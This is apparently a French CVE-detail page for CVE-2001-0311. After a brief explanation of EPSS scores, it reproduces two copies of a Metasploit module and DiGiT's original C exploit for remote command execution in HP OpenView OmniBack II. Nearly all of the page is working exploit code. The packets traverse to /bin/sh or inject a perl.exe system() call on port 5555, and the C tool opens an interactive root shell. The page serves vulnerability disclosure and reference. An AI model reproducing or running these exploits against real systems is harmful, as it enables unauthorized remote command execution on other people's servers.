CVE-2001-0311 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: openview_omniback_exec.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView OmniBack II Command Execution', 'Description' => %q{ This module uses a vulnerability in the OpenView Omniback II service to execute arbitrary commands. This vulnerability was discovered by DiGiT and his code was used as the basis for this module. For Microsoft Windows targets, due to module limitations, use the "unix/cmd/generic" payload and set CMD to your command. You can only pass a small amount of characters (4) to the command line on Windows. }, 'Author' => [ 'hdm', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2001-0311'], ['OSVDB', '6018'], ['BID', '11032'], ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'], ], 'Platform' => ['unix'], # win 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Unix', { }], [ 'Windows', { }], ], 'DisclosureDate' => 'Feb 28 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5555) ], self.class) end def check if (target.name =~ /Unix/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00/../../../bin/sh"+ "\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) sock.put("echo /etc/*;\n") res = sock.get_once(-1, 5) disconnect if !(res and res.length > 0) print_status("The remote service did not reply to our request") return Exploit::CheckCode::Safe end if (res =~ /passwd|group|resolv/) print_status("The remote service is exploitable") return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end if (target.name =~ /Windows/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00\\perl.exe"+ "\x00\x20-e\x20system(dir)\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) res = sock.get_once(-1, 5) disconnect print_status(res.to_s) if !(res and res.length > 0) print_status("The remote service did not reply to our request") return Exploit::CheckCode::Safe end if (res =~ /V.o.l.u.m.e/) #Unicode print_status("The remote service is exploitable") return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end end def exploit if (target.name =~ /Unix/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00/../../../bin/sh"+ "\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) sock.put(payload.encoded + ";\n") res = sock.get_once(-1, 5) if !(res and res.length > 0) print_status("The remote service did not reply to our request") disconnect return end print(res) handler disconnect end if (target.name =~ /Windows/) # patrickw # # Tested during pen test against Windows 2003 server. # Windows Service details: # - Data Protector Inet # -> [HP OpenView Storage Data Protector] - Backup client service # -> "C:\Program Files\OmniBack\bin\omniinet.exe" # -> OmniInet service for Windows NT # -> File version: 6.0.0.0 # # This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads. # # Notes: # I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe # Perhaps a difference in Windows/Unix code? Logs: # #11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client # #11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: ..\foo.exe # #11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client # #11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c: # #11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client # #11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir > connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00\\perl.exe"+ "\x00\x20-esystem(#{payload.encoded})\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) #sock.put(payload.encoded + "\n") res = sock.get_once(-1, 5) if !(res and res.length > 0) print_status("The remote service did not reply to our request") disconnect return end print(res) handler disconnect end end end

/* * HP OpenView OmniBack II generic remote Exploit by DiGiT - teddi@linux.is * * Omniback is a network backup system by HP, widely used. * took me some time to figure out how omniback communicated then it was just * a matter of finding a bug. * * This lovely little exploit will give you a remote "shell" of sorts, you * can execute any command on the system. * * As far as I can tell this thing is vuln on every Omniback I have seen. * I've tried HP-UX, Linux so far, with diff versions etc. It needs some change * to work on windows, but should very extremly easy, be creative. * * Greets, #!security.is, #!ADM#$%$#, #hax & HP systems for this proggie ;> * * - DiGiT [digit@security.is] * * I'm releasing this because it leaked and kids got their hands on it ;< * sorry. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/time.h> #include <errno.h> #include <netdb.h> #include <unistd.h> #include <sys/stat.h> int sockfd; struct hostent *host; usage (char *progname) { printf ("\nOmniback II *: remote exploit by DiGiT - teddi@linux.is\n"); printf ("Gives possibility to execute any command on a remote system as root!\n\n"); printf ("Usage: %s hostname \n\n", progname); exit (1); } int shell() { fd_set fd_stat; char recv[1024]; int n,i; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; fprintf(stdout, "We have remote shell&%#$&%!\n"); fprintf(stdout, "\nType in any command and it will get executed.\nHave fun... DiGiT - teddi@linux.is\n\n\n"); write(sockfd, testcmd, strlen(testcmd)); while(1) { FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); FD_SET(0, &fd_stat); select(sockfd+1, &fd_stat, NULL, NULL, NULL); if (FD_ISSET(sockfd, &fd_stat)) { if((n=read (sockfd,recv,sizeof(recv))) < 0) { printf("Connection has been closed\n"); exit(0); } for(i = 0; i < n ; i++) { if(recv[i] == '\000') { recv[i] = ""; } } recv[n] = 0; recv[n-1] = '\n'; fprintf(stdout, "%s\n", recv); } if (FD_ISSET(0, &fd_stat)) { if((n=read(0, recv, sizeof(recv)))>0) { if(write(sockfd, recv,n) == -1) { printf("Error %$#\n"); exit(0); } } } } } send_code () { char path[32]; /* I dont care I just made test code and it worked, so #$%$# off */ write (sockfd, "\000\000\000.", 4); write(sockfd, "2", 1); write(sockfd, "\000", 1); write(sockfd, " a", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " A", 2); write(sockfd, "\000", 1); write(sockfd, " 28", 3); write(sockfd, "\000", 1); snprintf(path, sizeof(path), "/../../../bin/sh"); write(sockfd, path, strlen(path)); write(sockfd, "\000", 1); write(sockfd, "\000", 1); write(sockfd, "digit ", 6); write(sockfd, "AAAA\n", 6); // nada.. shell(); // and the lord said, let there be shell. exit(0); } create_socket (char *hostname) { struct sockaddr_in s; int ipaddr; if ((host = gethostbyname (hostname)) == NULL) { herror ("gethostbyname"); exit (1); } memcpy (&ipaddr, host->h_addr, host->h_length); memset (&s, 0, sizeof (struct sockaddr_in)); s.sin_family = AF_INET; s.sin_port = htons (5555); s.sin_addr.s_addr = ipaddr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("socket"); exit (1); } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { perror ("connect"); exit (1); } } int main (char argc, char *argv[]) { char hostname[256]; if (argc < 2) { usage (argv[0]); return 0; } strncpy(hostname, argv[1], sizeof(hostname)); create_socket (hostname); send_code(); return 0; } // milw0rm.com [2000-12-21]

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView OmniBack II Command Execution', 'Description' => %q{ This module uses a vulnerability in the OpenView Omniback II service to execute arbitrary commands. This vulnerability was discovered by DiGiT and his code was used as the basis for this module. For Microsoft Windows targets, due to module limitations, use the "unix/cmd/generic" payload and set CMD to your command. You can only pass a small amount of characters (4) to the command line on Windows. }, 'Author' => [ 'hdm', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2001-0311'], ['OSVDB', '6018'], ['BID', '11032'], ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'], ], 'Platform' => ['unix'], # win 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Unix', { }], [ 'Windows', { }], ], 'DisclosureDate' => 'Feb 28 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5555) ], self.class) end def check if (target.name =~ /Unix/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00/../../../bin/sh"+ "\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) sock.put("echo /etc/*;\n") res = sock.get_once(-1, 5) disconnect if !(res and res.length > 0) print_status("The remote service did not reply to our request") return Exploit::CheckCode::Safe end if (res =~ /passwd|group|resolv/) print_status("The remote service is exploitable") return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end if (target.name =~ /Windows/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00\\perl.exe"+ "\x00\x20-e\x20system(dir)\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) res = sock.get_once(-1, 5) disconnect print_status(res.to_s) if !(res and res.length > 0) print_status("The remote service did not reply to our request") return Exploit::CheckCode::Safe end if (res =~ /V.o.l.u.m.e/) #Unicode print_status("The remote service is exploitable") return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end end def exploit if (target.name =~ /Unix/) connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00/../../../bin/sh"+ "\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) sock.put(payload.encoded + ";\n") res = sock.get_once(-1, 5) if !(res and res.length > 0) print_status("The remote service did not reply to our request") disconnect return end print(res) handler disconnect end if (target.name =~ /Windows/) # patrickw # # Tested during pen test against Windows 2003 server. # Windows Service details: # - Data Protector Inet # -> [HP OpenView Storage Data Protector] - Backup client service # -> "C:\Program Files\OmniBack\bin\omniinet.exe" # -> OmniInet service for Windows NT # -> File version: 6.0.0.0 # # This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads. # # Notes: # I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe # Perhaps a difference in Windows/Unix code? Logs: # #11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client # #11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: ..\foo.exe # #11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client # #11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c: # #11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384 #A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client # #11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384 #[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir > connect poof = "\x00\x00\x00.2"+ "\x00 a"+ "\x00 0"+ "\x00 0"+ "\x00 0"+ "\x00 A"+ "\x00 28"+ "\x00\\perl.exe"+ "\x00\x20-esystem(#{payload.encoded})\x00\x00"+ "digit "+ "AAAA\n\x00" sock.put(poof) #sock.put(payload.encoded + "\n") res = sock.get_once(-1, 5) if !(res and res.length > 0) print_status("The remote service did not reply to our request") disconnect return end print(res) handler disconnect end end end